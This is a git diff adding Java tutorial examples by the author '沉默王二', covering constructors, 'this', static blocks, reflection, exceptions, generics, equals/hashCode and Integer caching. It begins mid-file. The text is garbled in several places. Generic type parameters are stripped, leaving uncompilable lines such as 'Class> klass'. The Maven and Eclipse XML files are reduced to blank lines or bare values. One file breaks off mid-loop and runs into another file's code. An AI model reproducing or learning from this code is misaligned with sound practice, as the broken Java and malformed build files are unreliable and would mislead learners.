+class Triangle implements Shape {
+}
\ No newline at end of file
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentynine/Address.java b/codes/TechSister/src/main/java/com/itwanger/twentynine/Address.java
new file mode 100644
index 0000000000..59c5a9e070
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentynine/Address.java
@@ -0,0 +1,14 @@
+package com.itwanger.twentynine;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class Address {
+ String city, state, country;
+
+ public Address(String city, String state, String country) {
+ this.city = city;
+ this.state = state;
+ this.country = country;
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentynine/Employee.java b/codes/TechSister/src/main/java/com/itwanger/twentynine/Employee.java
new file mode 100644
index 0000000000..65106eb724
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentynine/Employee.java
@@ -0,0 +1,22 @@
+package com.itwanger.twentynine;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class Employee {
+ String name;
+ Address address;
+
+ public Employee(String name, Address address) {
+ this.name = name;
+ this.address = address;
+ }
+
+ void out() {
+ System.out.println(name + " " + address.country + " " + address.state + " " + address.city);
+ }
+
+ public static void main(String[] args) {
+ new Employee("沉默王二", new Address("洛阳", "河南", "中国")).out();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyseven/InvokeConstrutor.java b/codes/TechSister/src/main/java/com/itwanger/twentyseven/InvokeConstrutor.java
new file mode 100644
index 0000000000..ff3613c3bc
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyseven/InvokeConstrutor.java
@@ -0,0 +1,19 @@
+package com.itwanger.twentyseven;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class InvokeConstrutor {
+ InvokeConstrutor() {
+ System.out.println("hello");
+ }
+
+ InvokeConstrutor(int count) {
+ this();
+ System.out.println(count);
+ }
+
+ public static void main(String[] args) {
+ InvokeConstrutor invokeConstrutor = new InvokeConstrutor(10);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyseven/InvokeCurrentClassMethod.java b/codes/TechSister/src/main/java/com/itwanger/twentyseven/InvokeCurrentClassMethod.java
new file mode 100644
index 0000000000..9e3da27877
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyseven/InvokeCurrentClassMethod.java
@@ -0,0 +1,15 @@
+package com.itwanger.twentyseven;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class InvokeCurrentClassMethod {
+ void method1() {}
+ void method2() {
+ method1();
+ }
+
+ public static void main(String[] args) {
+ new InvokeCurrentClassMethod().method1();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyseven/InvokeParamConstrutor.java b/codes/TechSister/src/main/java/com/itwanger/twentyseven/InvokeParamConstrutor.java
new file mode 100644
index 0000000000..4b92f2597a
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyseven/InvokeParamConstrutor.java
@@ -0,0 +1,19 @@
+package com.itwanger.twentyseven;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class InvokeParamConstrutor {
+ InvokeParamConstrutor() {
+ this(10);
+ System.out.println("hello");
+ }
+
+ InvokeParamConstrutor(int count) {
+ System.out.println(count);
+ }
+
+ public static void main(String[] args) {
+ InvokeParamConstrutor invokeConstrutor = new InvokeParamConstrutor();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyseven/ThisAsConstrutorParam.java b/codes/TechSister/src/main/java/com/itwanger/twentyseven/ThisAsConstrutorParam.java
new file mode 100644
index 0000000000..d8aecd34f1
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyseven/ThisAsConstrutorParam.java
@@ -0,0 +1,28 @@
+package com.itwanger.twentyseven;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class ThisAsConstrutorParam {
+ int count = 10;
+
+ ThisAsConstrutorParam() {
+ Data data = new Data(this);
+ data.out();
+ }
+
+ public static void main(String[] args) {
+ new ThisAsConstrutorParam();
+ }
+}
+
+class Data {
+ ThisAsConstrutorParam param;
+ Data(ThisAsConstrutorParam param) {
+ this.param = param;
+ }
+
+ void out() {
+ System.out.println(param.count);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyseven/ThisAsMethodResult.java b/codes/TechSister/src/main/java/com/itwanger/twentyseven/ThisAsMethodResult.java
new file mode 100644
index 0000000000..962bce1a5a
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyseven/ThisAsMethodResult.java
@@ -0,0 +1,18 @@
+package com.itwanger.twentyseven;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class ThisAsMethodResult {
+ ThisAsMethodResult getThisAsMethodResult() {
+ return this;
+ }
+
+ void out() {
+ System.out.println("hello");
+ }
+
+ public static void main(String[] args) {
+ new ThisAsMethodResult().getThisAsMethodResult().out();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyseven/ThisAsParam.java b/codes/TechSister/src/main/java/com/itwanger/twentyseven/ThisAsParam.java
new file mode 100644
index 0000000000..86cc4cc716
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyseven/ThisAsParam.java
@@ -0,0 +1,20 @@
+package com.itwanger.twentyseven;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class ThisAsParam {
+ void method1(ThisAsParam p) {
+ System.out.println(p);
+ }
+
+ void method2() {
+ method1(this);
+ }
+
+ public static void main(String[] args) {
+ ThisAsParam thisAsParam = new ThisAsParam();
+ System.out.println(thisAsParam);
+ thisAsParam.method2();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyseven/WithThisStudent.java b/codes/TechSister/src/main/java/com/itwanger/twentyseven/WithThisStudent.java
new file mode 100644
index 0000000000..2cec993fc0
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyseven/WithThisStudent.java
@@ -0,0 +1,26 @@
+package com.itwanger.twentyseven;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class WithThisStudent {
+ String name;
+ int age;
+
+ WithThisStudent(String name, int age) {
+ this.name = name;
+ this.age = age;
+ }
+
+ void out() {
+ System.out.println(name+" " + age);
+ }
+
+ public static void main(String[] args) {
+ WithThisStudent s1 = new WithThisStudent("沉默王二", 18);
+ WithThisStudent s2 = new WithThisStudent("沉默王三", 16);
+
+ s1.out();
+ s2.out();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyseven/WithoutThisStudent.java b/codes/TechSister/src/main/java/com/itwanger/twentyseven/WithoutThisStudent.java
new file mode 100644
index 0000000000..2dfa9e2a5e
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentyseven/WithoutThisStudent.java
@@ -0,0 +1,26 @@
+package com.itwanger.twentyseven;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class WithoutThisStudent {
+ String name;
+ int age;
+
+ WithoutThisStudent(String name, int age) {
+ name = name;
+ age = age;
+ }
+
+ void out() {
+ System.out.println(name+" " + age);
+ }
+
+ public static void main(String[] args) {
+ WithoutThisStudent s1 = new WithoutThisStudent("沉默王二", 18);
+ WithoutThisStudent s2 = new WithoutThisStudent("沉默王三", 16);
+
+ s1.out();
+ s2.out();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentysix/Counter.java b/codes/TechSister/src/main/java/com/itwanger/twentysix/Counter.java
new file mode 100644
index 0000000000..2adb1d66f5
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentysix/Counter.java
@@ -0,0 +1,21 @@
+package com.itwanger.twentysix;
+
+import java.io.Serializable;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class Counter implements Serializable {
+ int count = 0;
+
+ Counter() {
+ count++;
+ System.out.println(count);
+ }
+
+ public static void main(String args[]) {
+ Counter c1 = new Counter();
+ Counter c2 = new Counter();
+ Counter c3 = new Counter();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticBlock.java b/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticBlock.java
new file mode 100644
index 0000000000..9f0cf29b2a
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticBlock.java
@@ -0,0 +1,14 @@
+package com.itwanger.twentysix;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class StaticBlock {
+ static {
+ System.out.println("静态代码块");
+ }
+
+ public static void main(String[] args) {
+ System.out.println("main 方法");
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticBlockNoMain.java b/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticBlockNoMain.java
new file mode 100644
index 0000000000..635eaf818d
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticBlockNoMain.java
@@ -0,0 +1,10 @@
+package com.itwanger.twentysix;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class StaticBlockNoMain {
+ static {
+ System.out.println("静态代码块,没有 main");
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticCounter.java b/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticCounter.java
new file mode 100644
index 0000000000..1e4dac1bcc
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticCounter.java
@@ -0,0 +1,19 @@
+package com.itwanger.twentysix;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class StaticCounter {
+ static int count = 0;
+
+ StaticCounter() {
+ count++;
+ System.out.println(count);
+ }
+
+ public static void main(String args[]) {
+ StaticCounter c1 = new StaticCounter();
+ StaticCounter c2 = new StaticCounter();
+ StaticCounter c3 = new StaticCounter();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticMethodStudent.java b/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticMethodStudent.java
new file mode 100644
index 0000000000..9a88fe1e39
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticMethodStudent.java
@@ -0,0 +1,33 @@
+package com.itwanger.twentysix;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class StaticMethodStudent {
+ String name;
+ int age;
+ static String school = "郑州大学";
+
+ public StaticMethodStudent(String name, int age) {
+ this.name = name;
+ this.age = age;
+ }
+
+ static void change() {
+ school = "河南大学";
+ }
+
+ void out() {
+ System.out.println(name + " " + age + " " + school);
+ }
+
+ public static void main(String[] args) {
+ StaticMethodStudent.change();
+
+ StaticMethodStudent s1 = new StaticMethodStudent("沉默王二", 18);
+ StaticMethodStudent s2 = new StaticMethodStudent("沉默王三", 16);
+
+ s1.out();
+ s2.out();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentysix/Student.java b/codes/TechSister/src/main/java/com/itwanger/twentysix/Student.java
new file mode 100644
index 0000000000..8a3164fd3b
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentysix/Student.java
@@ -0,0 +1,20 @@
+package com.itwanger.twentysix;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class Student {
+ String name;
+ int age;
+ static String school = "郑州大学";
+
+ public Student(String name, int age) {
+ this.name = name;
+ this.age = age;
+ }
+
+ public static void main(String[] args) {
+ Student s1 = new Student("沉默王二", 18);
+ Student s2 = new Student("沉默王三", 16);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentythree/Person.java b/codes/TechSister/src/main/java/com/itwanger/twentythree/Person.java
new file mode 100644
index 0000000000..dfe1cd8e07
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentythree/Person.java
@@ -0,0 +1,57 @@
+package com.itwanger.twentythree;
+
+/**
+ * @author 沉默王二,一枚有趣的程序员
+ */
+public class Person {
+ private String name;
+ private int age;
+ private int sex;
+
+ public Person() {
+ }
+
+ public Person(String name, int age, int sex) {
+ this.name = name;
+ this.age = age;
+ this.sex = sex;
+ }
+
+ private void eat() {
+
+ }
+
+ private void sleep() {
+
+ }
+
+ private void dadoudou() {
+
+ }
+
+ public void initialize(String n, int a, int s) {
+ name = n;
+ age = a;
+ sex = s;
+ }
+
+ public static void main(String[] args) {
+ Person person = new Person("沉默王二",18,1);
+
+ person.initialize("沉默王二",18,1);
+
+ new Person().initialize("沉默王二",18,1);
+
+ person.name = "沉默王二";
+ person.age = 18;
+ person.sex = 1;
+
+ System.out.println(person.name);
+ System.out.println(person.age);
+ System.out.println(person.sex);
+
+ Person person1 = new Person(), person2 = new Person();
+ }
+}
+
+
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentythree/PersonDemo.java b/codes/TechSister/src/main/java/com/itwanger/twentythree/PersonDemo.java
new file mode 100644
index 0000000000..13830630c8
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentythree/PersonDemo.java
@@ -0,0 +1,30 @@
+package com.itwanger.twentythree;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class PersonDemo {
+ public static void main(String[] args) {
+ Person1 person = new Person1();
+ }
+}
+
+class Person1 {
+ private String name;
+ private int age;
+ private int sex;
+
+ private void eat() {
+
+ }
+
+ private void sleep() {
+
+ }
+
+ private void dadoudou() {
+
+ }
+}
+
+
diff --git a/codes/TechSister/src/main/java/com/itwanger/twentythree/PersonTest.java b/codes/TechSister/src/main/java/com/itwanger/twentythree/PersonTest.java
new file mode 100644
index 0000000000..beceb7e7a5
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/twentythree/PersonTest.java
@@ -0,0 +1,12 @@
+package com.itwanger.twentythree;
+
+import java.util.*;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class PersonTest {
+ public static void main(String[] args) {
+ Person person = new Person();
+ }
+}
diff --git a/codes/TechSister/src/main/resources/hutool/example.setting b/codes/TechSister/src/main/resources/hutool/example.setting
new file mode 100644
index 0000000000..616c728ec1
--- /dev/null
+++ b/codes/TechSister/src/main/resources/hutool/example.setting
@@ -0,0 +1,2 @@
+name=沉默王二
+age=18
\ No newline at end of file
diff --git a/codes/TechSister/src/main/resources/hutool/origin.txt b/codes/TechSister/src/main/resources/hutool/origin.txt
new file mode 100644
index 0000000000..24246e693a
--- /dev/null
+++ b/codes/TechSister/src/main/resources/hutool/origin.txt
@@ -0,0 +1 @@
+沉默王二,一枚沉默但有趣的程序员
\ No newline at end of file
diff --git a/codes/TechSister/src/main/resources/hutool/wangsan.jpg b/codes/TechSister/src/main/resources/hutool/wangsan.jpg
new file mode 100644
index 0000000000..4167a4feed
Binary files /dev/null and b/codes/TechSister/src/main/resources/hutool/wangsan.jpg differ
diff --git a/codes/java8demo/.classpath b/codes/java8demo/.classpath
new file mode 100644
index 0000000000..1b799f388f
--- /dev/null
+++ b/codes/java8demo/.classpath
@@ -0,0 +1,49 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/codes/java8demo/.project b/codes/java8demo/.project
new file mode 100644
index 0000000000..848bef6a4c
--- /dev/null
+++ b/codes/java8demo/.project
@@ -0,0 +1,34 @@
+
+
+ java8demo
+
+
+
+
+
+ org.eclipse.jdt.core.javabuilder
+
+
+
+
+ org.eclipse.m2e.core.maven2Builder
+
+
+
+
+
+ org.eclipse.jdt.core.javanature
+ org.eclipse.m2e.core.maven2Nature
+
+
+
+ 1630030652836
+
+ 30
+
+ org.eclipse.core.resources.regexFilterMatcher
+ node_modules|.git|__CREATED_BY_JAVA_LANGUAGE_SERVER__
+
+
+
+
diff --git a/codes/java8demo/java8demo.iml b/codes/java8demo/java8demo.iml
new file mode 100644
index 0000000000..78b2cc53b2
--- /dev/null
+++ b/codes/java8demo/java8demo.iml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/codes/java8demo/pom.xml b/codes/java8demo/pom.xml
new file mode 100644
index 0000000000..115ee759ff
--- /dev/null
+++ b/codes/java8demo/pom.xml
@@ -0,0 +1,24 @@
+
+
+ 4.0.0
+
+ org.example
+ java8demo
+ 1.0-SNAPSHOT
+
+
+
+ org.apache.maven.plugins
+ maven-compiler-plugin
+
+ 7
+ 7
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/codes/java8demo/src/main/java/com/itwanger/s39/Hello.java b/codes/java8demo/src/main/java/com/itwanger/s39/Hello.java
new file mode 100644
index 0000000000..b3fa7bd2ef
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s39/Hello.java
@@ -0,0 +1,8 @@
+package com.itwanger.s39;
+
+public class Hello {
+ public static void main(String[] args) {
+ System.out.println("hello world");
+ }
+
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s39/ReflectionDemo1.java b/codes/java8demo/src/main/java/com/itwanger/s39/ReflectionDemo1.java
new file mode 100644
index 0000000000..2e4e5244a1
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s39/ReflectionDemo1.java
@@ -0,0 +1,31 @@
+package com.itwanger.s39;
+
+import java.lang.reflect.Constructor;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class ReflectionDemo1 {
+ public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException,
+ InvocationTargetException, InstantiationException {
+ Writer writer = new Writer();
+ writer.setName("沉默王二");
+ System.out.println(writer.getName());
+
+ Class clazz = Class.forName("com.itwanger.s39.Writer");
+ Constructor constructor = clazz.getConstructor();
+ Object object = constructor.newInstance();
+
+ // Method setNameMethod = clazz.getMethod("setName", String.class);
+ // setNameMethod.invoke(object, "沉默王二");
+ // Method getNameMethod = clazz.getMethod("getName");
+ // System.out.println(getNameMethod.invoke(object));
+
+ Method setAgeMethod = clazz.getMethod("setAge", int.class);
+ for (int i = 0; i < 20; i++) {
+ setAgeMethod.invoke(object, 18);
+ }
+ }
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s39/ReflectionDemo2.java b/codes/java8demo/src/main/java/com/itwanger/s39/ReflectionDemo2.java
new file mode 100644
index 0000000000..140a7bdfbd
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s39/ReflectionDemo2.java
@@ -0,0 +1,20 @@
+package com.itwanger.s39;
+
+import java.lang.reflect.Method;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class ReflectionDemo2 {
+ public static void target(int i) {
+ new Exception("#" + i).printStackTrace();
+ }
+
+ public static void main(String[] args) throws Exception {
+ Class> klass = Class.forName("com.itwanger.s39.ReflectionDemo2");
+ Method method = klass.getMethod("target", int.class);
+ for (int i = 0; i < 20; i++) {
+ method.invoke(null, i);
+ }
+ }
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s39/ReflectionDemo3.java b/codes/java8demo/src/main/java/com/itwanger/s39/ReflectionDemo3.java
new file mode 100644
index 0000000000..06dac278c7
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s39/ReflectionDemo3.java
@@ -0,0 +1,52 @@
+package com.itwanger.s39;
+
+import java.io.PrintStream;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class ReflectionDemo3 {
+ public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException {
+//Class c1 = Class.forName("com.itwanger.s39.ReflectionDemo3");
+//System.out.println(c1.getCanonicalName());
+//
+//Class c2 = Class.forName("[D");
+//System.out.println(c2.getCanonicalName());
+//
+//Class c3 = Class.forName("[[Ljava.lang.String;");
+//System.out.println(c3.getCanonicalName());
+
+//Class c1 = ReflectionDemo3.class;
+//System.out.println(c1.getCanonicalName());
+//
+//Class c2 = String.class;
+//System.out.println(c2.getCanonicalName());
+//
+//Class c3 = int[][][].class;
+//System.out.println(c3.getCanonicalName());
+
+Class c1 = Writer.class;
+Writer writer = (Writer) c1.newInstance();
+
+Class c2 = Class.forName("com.itwanger.s39.Writer");
+Constructor constructor = c2.getConstructor();
+Object object = constructor.newInstance();
+
+Constructor[] constructors1 = String.class.getDeclaredConstructors();
+for (Constructor c : constructors1) {
+ System.out.println(c);
+}
+
+ Method[] methods1 = System.class.getDeclaredMethods();
+ for (Method m : methods1) {
+ System.out.println(m);
+ }
+ Method[] methods2 = System.class.getMethods();
+ for (Method m : methods2) {
+ System.out.println(m);
+ }
+ }
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s39/Writer.java b/codes/java8demo/src/main/java/com/itwanger/s39/Writer.java
new file mode 100644
index 0000000000..de14b893f1
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s39/Writer.java
@@ -0,0 +1,25 @@
+package com.itwanger.s39;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Writer {
+ private int age;
+ private String name;
+
+ public int getAge() {
+ return age;
+ }
+
+ public void setAge(int age) {
+ this.age = age;
+ }
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s41/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s41/Demo.java
new file mode 100644
index 0000000000..8ea4967a20
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s41/Demo.java
@@ -0,0 +1,10 @@
+package com.itwanger.s41;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Demo {
+ public static void main(String[] args) {
+ System.out.println(10/0);
+ }
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s41/Demo1.java b/codes/java8demo/src/main/java/com/itwanger/s41/Demo1.java
new file mode 100644
index 0000000000..8f2167d148
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s41/Demo1.java
@@ -0,0 +1,24 @@
+package com.itwanger.s41;
+
+import java.io.File;
+import java.io.IOException;
+import java.net.Socket;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Demo1 {
+ public static void main(String[] args) throws ClassNotFoundException {
+ Class clz = Class.forName("com.itwanger.s41.Demo1");
+
+ String serverName = args[0];
+ int port = Integer.parseInt(args[1]);
+ try {
+ Socket client = new Socket(serverName, port);
+ } catch (IOException e) {
+
+ }
+ }
+
+
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s41/Demo2.java b/codes/java8demo/src/main/java/com/itwanger/s41/Demo2.java
new file mode 100644
index 0000000000..bbfac33577
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s41/Demo2.java
@@ -0,0 +1,47 @@
+package com.itwanger.s41;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.net.Socket;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Demo2 {
+ private String mHost;
+ private int mPort;
+ private Socket mSocket;
+ private final Object mLock = new Object();
+
+ public void run() {
+ if (mSocket == null) {
+ initSocket();
+ }
+ try {
+ OutputStream out = mSocket.getOutputStream();
+ byte[] buffer = new byte[1024];
+ int n;
+ while ((n = System.in.read(buffer)) > 0) {
+ out.write(buffer, 0, n);
+ }
+ } catch (IOException e) {
+ e.printStackTrace();
+ initSocket();
+ }
+ }
+
+ private void initSocket() {
+ while (true) {
+ try {
+ Socket socket = new Socket(mHost, mPort);
+ synchronized (mLock) {
+ mSocket = socket;
+ }
+ break;
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ }
+
+ }
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s42/Demo1.java b/codes/java8demo/src/main/java/com/itwanger/s42/Demo1.java
new file mode 100644
index 0000000000..196b491740
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s42/Demo1.java
@@ -0,0 +1,88 @@
+package com.itwanger.s42;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Demo1 {
+ static int num = 1000000;
+ public static void main(String[] args) {
+// tryFun();
+// fun();
+ test1();test2();
+ }
+
+
+ static void tryFun() {
+ int sum = 0;
+ long t1 = System.currentTimeMillis();
+ for(int i=0;i list) {
+ System.out.println("Arraylist list");
+ }
+//
+// public static void method(ArrayList list) {
+// System.out.println("Arraylist list");
+// }
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s46/Cmower1.java b/codes/java8demo/src/main/java/com/itwanger/s46/Cmower1.java
new file mode 100644
index 0000000000..70b0e80b35
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s46/Cmower1.java
@@ -0,0 +1,15 @@
+package com.itwanger.s46;
+
+import java.util.ArrayList;
+import java.util.Date;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Cmower1 {
+ public static void method(String list) {
+ }
+
+ public static void method(Date list) {
+ }
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s46/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s46/Demo.java
new file mode 100644
index 0000000000..1e80a6aa3e
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s46/Demo.java
@@ -0,0 +1,26 @@
+package com.itwanger.s46;
+
+import java.util.ArrayList;
+import java.util.Date;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Demo {
+ public static void main(String[] args) {
+ArrayList ints = new ArrayList();
+ArrayList strs = new ArrayList();
+ArrayList list;
+list = ints;
+list = strs;
+
+System.out.println(ints.getClass());
+System.out.println(strs.getClass());
+
+ ArrayList list1 = new ArrayList();
+ list.add("沉默王二");
+ list.add(new Date());
+
+ String s = (String) list.get(1);
+ }
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s47/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s47/Demo.java
new file mode 100644
index 0000000000..47bc8ae864
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s47/Demo.java
@@ -0,0 +1,24 @@
+package com.itwanger.s47;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Demo {
+ public static void main(String[] args) {
+ Object obj;
+ HashMap map;
+
+ Student s1 = new Student(18, "张三");
+ Map scores = new HashMap();
+ scores.put(s1, 98);
+
+ Student s2 = new Student(18, "张三");
+ System.out.println(scores.get(s2));
+
+ System.out.println(s1.hashCode());
+ System.out.println(s2.hashCode());
+ }
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s47/Student.java b/codes/java8demo/src/main/java/com/itwanger/s47/Student.java
new file mode 100644
index 0000000000..0ad24a325c
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s47/Student.java
@@ -0,0 +1,28 @@
+package com.itwanger.s47;
+
+import java.util.Objects;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+class Student {
+ private int age;
+ private String name;
+
+ public Student(int age, String name) {
+ this.age = age;
+ this.name = name;
+ }
+
+ @Override
+ public boolean equals(Object o) {
+ Student student = (Student) o;
+ return age == student.age &&
+ Objects.equals(name, student.name);
+ }
+
+ @Override
+ public int hashCode() {
+ return Objects.hash(age, name);
+ }
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s50/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s50/Demo.java
new file mode 100644
index 0000000000..0ac603b6cb
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s50/Demo.java
@@ -0,0 +1,19 @@
+package com.itwanger.s50;
+
+import java.util.*;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Demo {
+ public static void main(String[] args) {
+ Stack stack;
+ ArrayDeque arrayDeque;
+ PriorityQueue priorityQueue;
+ HashSet hashSet;
+ LinkedHashSet linkedHashSet;
+ TreeSet treeSet;
+ ArrayDeque arrayDeque1;
+ HashMap hashMap;
+ }
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s51/AssertTest.java b/codes/java8demo/src/main/java/com/itwanger/s51/AssertTest.java
new file mode 100644
index 0000000000..bf92fafc92
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s51/AssertTest.java
@@ -0,0 +1,11 @@
+package com.itwanger.s51;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class AssertTest {
+ public static void main(String[] args) {
+ int high = 126;
+ assert high >= 127;
+ }
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s51/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s51/Demo.java
new file mode 100644
index 0000000000..b0469ac953
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s51/Demo.java
@@ -0,0 +1,22 @@
+package com.itwanger.s51;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Demo {
+ public static void main(String[] args) {
+Integer x = new Integer(18);
+Integer y = new Integer(18);
+System.out.println(x == y);
+Integer z = Integer.valueOf(18);
+Integer k = Integer.valueOf(18);
+System.out.println(z == k);
+
+Integer m = Integer.valueOf(300);
+Integer p = Integer.valueOf(300);
+System.out.println(m == p);
+
+Short short1;
+Long long1;
+ }
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s52/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s52/Demo.java
